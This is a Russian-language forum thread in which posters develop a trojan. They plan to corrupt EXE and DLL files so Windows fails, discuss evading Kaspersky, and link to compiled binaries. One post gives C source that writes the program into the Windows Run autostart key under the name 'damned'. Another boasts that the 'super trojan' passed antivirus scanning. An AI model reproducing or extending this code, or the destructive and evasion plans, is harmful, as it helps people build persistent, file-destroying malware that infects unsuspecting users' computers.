вот нормальное предложение, такс думаю проблема будет с отркытыми фафлами, а так можно и вместо ini Exe и dll спокойно валить, так что виндовс свалиться без проблем. я подумаю =)
бугагага вот именно я бы тогда и сделал в реестр, так как каспер, то и палит!!!!!!! это я ещё узнал давным давно, даже когда у меня был старый каспер! ссыла обновилась! http://slil.ru/23069868 Кстати теперь он портит не ini, а EXE, что естественно выведет из строя винду
http://webfile.ru/1080663 Написана на языке С (Visual C), не делает ничего плохого - только заносит в реестр в ключ автозагрузки , откуда ее запустили под именем damned. Проверь, Sn@k3, неужто Каспер вот прямо сходу несчастную программу выпалит? ---------------- #include<stdio.h> #include<string.h> #include<windows.h> #pragma comment(linker,"/MERGE:.rdata=.text") #pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078") #pragma comment(linker,"/ENTRY:WinMain") #pragma comment(linker,"/NODEFAULTLIB") //******************************************** int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR szCmdLine, int nCmdShow) { int nSize; char *file_path; char *buf; char **argv; DWORD argc; long int result; HKEY hKey; SetErrorMode(SEM_NOGPFAULTERRORBOX); //****************************************** argv = CommandLineToArgvW(GetCommandLineW(), &argc); buf = (char *)malloc(256); file_path = (char *)malloc(256); nSize = GetCurrentDirectory(256, buf); buf[nSize + 1] = '\0'; sprintf(file_path, "%s\\%ws", buf, argv[0]); result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey); // заносим в реестр .../Run под именем damned RegSetValueEx(hKey, "damned", 0, REG_SZ, file_path, strlen(file_path)); RegCloseKey(hKey); exit(0); }
Хм... Интересно, что на webfile.ru все файлы проверяются именно Касперским, мой откомлиленный "супертрой" свободно доступен - Касперский ничего не заподозрил.